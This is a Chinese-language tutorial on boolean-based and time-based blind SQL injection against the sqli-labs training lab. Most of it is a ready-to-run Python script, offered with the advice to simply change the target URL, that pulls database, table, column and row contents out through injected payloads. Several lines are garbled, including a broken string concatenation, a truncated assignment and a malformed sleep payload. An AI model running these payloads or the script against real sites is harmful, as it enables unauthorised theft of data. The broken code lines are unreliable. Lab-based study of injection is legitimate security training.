一、布尔型盲注
布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误俩种不同页面(报错型至少语法错误会回显错误在页面上)或者无法使用联合查询。
前三个步骤还是像前面联合注入和报错注入相同,需要判断出闭合方式。然后利用页面给我们呈现出的正确和错误的不同回馈来逐个猜测数据库中的内容。因为是通过猜测来判断数据库中的信息,显然这里就需要用到脚本来实现判断。
函数介绍:
length:返回字符串的长度
mid:从字符串中提取字符。
mid(1,2,3) //1为必须参数,要截取的字段;2为必须参数;开始截取的位置;3为可选参数,返回的字符数,如果省略,就返回剩下所有字符,效果如下:
substr(1,2,3) //截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度),用法与mid函数一致。
ascii:返回一个字符的ascii值
这里注意:数值类型的不需要加'',如果是字母需要加上''才能执行。
ord()效果与用法和ascii函数一致。
hex():返回一个字符的16进制数
注入原理:
1、判断数据库名字
这里使用的数据库为【security】
判断长度
mysql> select length(database())>1; //通过增加数值可以判断数据库的长度为8
判断字符
mysql> select ascii(mid(database(),1,1))>115; //这里需要结合ascii表,判断第一个字符为s
依次判断剩下的几个字符,最终我们可以得到数据的名字。
2、判断表名
我们这里第一个表名为【emails】;
通过构造SQL语句,判断出第一个表的第一个字母;
mysql> select ascii(mid((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))>100;
依次类推,通过修改截取的字段,来猜测出表名。
3、判断列名
这里的列名为id
mysql> select ascii(mid((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1))>100;
4、判断数据
mysql> select ascii(mid((select 列名 from 表名 limit 0,1),1,1))>105;
效果:
当输入正确时,会得到如下结果:
当错误时;
通过这些判断我们也可以得到我们想要的信息,但是这是纯粹的靠猜,比较耗时耗力,所以这里我们使用脚本就比较好。下面是一个布尔盲注的python脚本,在使用时修改URL中的地址即可。
#!/usr/bin/env Python 3.7.4
import urllib.request
url = "http://192.168.67.134/sqli-labs-master/Less-8/?id=1"
#自定义攻击的url
success_str = "You are in..........."
database = "database()"
length_payload = "' and length(%s)>=%d #"
ascii_payload = "' and ascii(substr((%s),%d,1))>=%d #"
select_db = "select database()"
select_table_count_payload = "'and (select count(table_name)" \
" from information_schema.tables where table_schema='%s')>=%d #"
select_table_name_length_payload_front = "'and (select length(table_name) " \
"from information_schema.tables where table_schema='%s' " \
"limit "
select_table_count_payload_behind = ",1)>=%d #"
select_table = "select table_name from information_schema.tables " \
"where table_schema='%s' limit %d,1"
def get_length_result(payload, string, length):
"""
发送请求,根据页面的返回的判断长度的猜测结果
:param length:当前猜解长度
:param payload:使用的payload
:param string:猜测的字符串
:return:猜解结果布尔值
"""
final_url = url + urllib.request.quote(payload % (string, length))
res = urllib.request.urlopen(final_url) # 打开并将爬取的网页赋值给res
echo = res.read().decode("utf-8")
if success_str in echo:
return True
else:
return False
def get_length_string(payload, string):
"""
猜解字符串长度
:param string:
:param payload:payload
:return:猜解长度
"""
length_left = 0
length_right = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if get_length_result(payload, string, guess):
# 猜解值增5
guess += 5
else:
length_right = guess
break
# 二分法猜长度
mid = (length_left + length_right) / 2
while length_left < length_right - 1:
# 如果长度大于等于mid
if get_length_result(payload, string, mid):
# 更新长度的左边界为mid
length_left = mid
else:
# 更新长度右边界为mid
length_right = mid
# 更新中间值
mid = (length_left + length_right) / 2
return length_left
def get_result(ascii_payload, select_db, i, mid):
"""
获取ASCII码值比较结果
:param ascii_payload:
:param select_db:
:param i:
:param mid:
:return:
"""
final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
res = urllib.request.urlopen(final_url)
if success_str in res.read().decode("utf-8"):
return True
else:
return False
def get_name(ascii_payload, select_db, length_DB_name):
"""
根据数据库名长度获取数据库名
:type ascii_payload:
:param ascii_payload: 获取当前字符的ASCII码值的payload
:param select_db:获取当前数据库名
:param length_DB_name: 数据库名的长度
:return: 返回数据库名
"""
tmp = ''
for i in range(1, length_DB_name + 1):
left_letter = 32 # 32 为空格
right_letter = 127 # 127为删除
mid = int((left_letter + right_letter) / 2)
while left_letter < right_letter - 1:
# 如果第i个字符的ASCII码值大于等于mid
if get_result(ascii_payload, select_db, i, mid):
# 更新左边界
left_letter = mid
else:
# 更新右边界
right_letter = mid
# 更新中间值
mid = int((left_letter + right_letter) / 2)
tmp += chr(left_letter)
return tmp
def get_tables_name(table_count, dbname):
"""
获取数据库中的所有表名
:return:给定数据库中的所有表名
"""
tables = [] # 定义列表来存放表名
for i in range(0, table_count):
# 第几个表
num = str(i)
# 获取当前这个表的长度
select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
select_table_name = select_table % (dbname, i)
table_name = get_name(ascii_payload, select_table_name, table_name_length)
tables.append(table_name)
return tables
def get_table_data(column_count, dbname, table_name, data_count):
"""
获取指定表的字段名
:param dbname: 数据库名
:param data_count: 表中有多少行数据
:param column_count: 字段数量
:param table_name: 表名
:return:
"""
fields_value = [] # 定义字段值列表
fields_name = [] # 定义字段名列表
for i in range(0, column_count):
# 获取当前列字段名长度
get_field_name_length_payload = "'and (select length(column_name)" \
" from information_schema.columns " \
"where table_schema='" + dbname + \
"' and table_name='%s' limit " + str(i) + ",1)>=%d #"
field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
# 获取该列名字
get_field_name_payload = "select column_name from information_schema.columns " \
"where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
select_field_name_payload = get_field_name_payload % (table_name, i)
field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
fields_name.append(field_name)
# 获取当前列的所有数据
for j in range(0, data_count):
field_value_payload = "'and (select length(" \
+ field_name + ") from %s limit " + str(j) + ",1)>=%d #"
field_value_length = int(get_length_string(field_value_payload, table_name))
select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
fields_value.append(field_value)
return fields_name, fields_value
def inject():
"""
注入
:return:
"""
# 猜解数据库名长度
length_DB_name = int(get_length_string(length_payload, database))
print("当前数据库名长度:" + str(length_DB_name))
# 获取数据库名称
DB_name = get_name(ascii_payload, select_db, length_DB_name)
print("当前数据库名:" + DB_name)
# 获取数据库中表的数量
table_count = int(get_length_string(select_table_count_payload, DB_name))
print("数据库" + DB_name + "表的数量:" + str(table_count))
# 获取数据库中的表
tables_name = get_tables_name(table_count, DB_name)
print("数据库" + DB_name + "中的表:")
print(tables_name)
# 选择表
select_table=input("请选择表:")
if select_table in tables_name:
print('选择的表是'+select_table)
else:
print('该表不在数据库中,请检查输入是否正确!')
# 获取该指定表有多少行数据
data_count_payload = "' and (select count(*) from %s)>=%d #"
data_count = int(get_length_string(data_count_payload, select_table))
print(select_table+"表中有" + str(data_count) + "行数据")
# 获取指定表的字段的数量
select_column_count_payload = "'and (select count(column_name) " \
"from information_schema.columns where table_schema='" \
- DB_name + "' and table_name='%s')>=%d #"
string(select_column_count_payload, select_table))
print(select_table+"表中有" + str(column_count) + "个字段")
# 获取并打印指定表中的字段名
fields_name, fields_value = get_table_data(column_count, DB_name, select_table, data_count)
# 格式化打印指定表的所有数据
for i in range(0, len(fields_name)):
print(fields_name[i] + "\t", end='')
print()
for i in range(0, int(data_count)):
print(fields_value[0 + i] + "\t", end='')
print(fields_value[int(data_count) + i] + "\t", end='')
if column_count-2>0:
print(fields_value[int(data_count)*2 + i])
else:
print()
def main():
inject()
main()
执行后的结果如下:
二、时间型盲注
当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0。但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本都为0。但是我们可以用函数,可以利用时间延迟来判断我们查询的是否存在。换句话说,就是在数据交互完成完成以后目标网站没有错误或者正确的页面回显,无法判断是正确还是错误,这种情况我们可以利用时间函数来判断我们插入的SQL语句有没有被执行。这便是SQL基于时间延迟的盲注的工作原理。
函数介绍:
在布尔型盲注函数的基础上
sleep:将响应延迟
用法:时间型注入的核心函数,我们可以看到后面的执行时间为1.01s,像一般的执行时间都为毫秒级,我们基本察觉不到;
if:条件函数
用法:3个参数,参数1如果为真,返回第2个参数;反之,返回第三个参数。
SQL注入:
1、判断闭合方式
id=1' and if(1=,sleep(2),1) --+ //判断闭合方式,正确的话,会有一个2s的延迟后再返回到初始页面。
利用这个特性我们我们就构造出了正确和错误两种不同的反馈给我们,接下来用SQL语句替换掉条件语句的条件,即可实现SQL入。效果如下:
id=1‘ and if((length(database()>1),sleep(4),0) --+ //增加1值来猜库名的长度
id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ //库名
id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = '表名' and table_schema = '数据库名'limit 0,1),1,1)) > 1),sleep(4),0 )--+ //表名
时间型盲注同样靠的是猜测来实现数据的获取,要是完全靠猜测,也是不太现实,所以这里同样也需要脚本来实现。